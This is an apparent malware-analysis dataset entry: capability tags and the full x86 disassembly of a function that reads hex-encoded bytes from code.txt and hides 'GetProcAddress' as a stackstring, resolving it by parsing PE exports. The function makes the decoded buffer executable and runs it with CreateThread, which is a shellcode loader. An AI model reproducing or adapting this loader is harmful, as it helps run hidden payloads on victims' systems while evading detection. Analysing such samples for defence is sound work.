Function at 0x401060
Capabilities:
Contain obfuscated stackstrings
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x402118
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push str.code.txt
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x40123e
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40123e
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push eax
call edi
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push dword [ebp - 0x20]
mov esi, eax
call edi
mov eax, esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 0x20
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x4010f9
push 0x40212c
call fcn.00401010
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
jmp 0x40124c
xor esi, esi
mov byte [ebp - 0x16], 0
push ebx
test edi, edi
jle 0x401139
mov ebx, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
nop word [eax + eax]
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push 1
push 2
push eax
call ebx
push 0x10
lea eax, [ebp - 0x18]
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ecx, dword [ebp - 0x28]
add esp, 0x1c
mov byte [esi + ecx], al
inc esi
cmp esi, edi
jl 0x401110
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
call fcn.00401040
mov ebx, eax
mov dword [ebp - 0x14], 0x50746547
xor ecx, ecx
mov dword [ebp - 0x10], 0x41636f72
xor edi, edi
mov dword [ebp - 0xc], 0x65726464
mov word [ebp - 8], 0x7373
mov eax, dword [ebx + 0x3c]
mov byte [ebp - 6], 0
mov dword [ebp - 0x24], ecx
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x38], edx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0x34], edx
mov edx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add edx, ebx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4011ea
nop dword [eax]
mov eax, dword [edx + edi*4]
lea ecx, [ebp - 0x14]
mov dl, byte [eax + ebx]
lea esi, [eax + ebx]
test dl, dl
je 0x4011c7
mov al, dl
mov edx, ecx
sub esi, edx
mov dl, al
cmp al, byte [ecx]
jne 0x4011c7
mov al, byte [esi + ecx + 1]
inc ecx
mov dl, al
test al, al
jne 0x4011b6
cmp dl, byte [ecx]
je 0x4011d8
mov edx, dword [ebp - 0x30]
inc edi
cmp edi, dword [ebp - 0x2c]
jb 0x4011a0
xor ecx, ecx
jmp 0x4011ea
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
mov dword [ebp - 0x24], ecx
push str.VirtualProtect
push ebx
call ecx
push str.CreateThread
push ebx
mov esi, eax
call dword [ebp - 0x24]
push str.WaitForSingleObject
push ebx
mov edi, eax
call dword [ebp - 0x24]
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 4
push dword [ebp - 0x28]
call esi
push 0
push 0
push 0
push dword [ebp - 0x28]
push 0
push 0
call edi
push 0xffffffffffffffff
push eax
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401261
mov esp, ebp
pop ebp
ret
push 0x40211c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00401261
mov esp, ebp
pop ebp
ret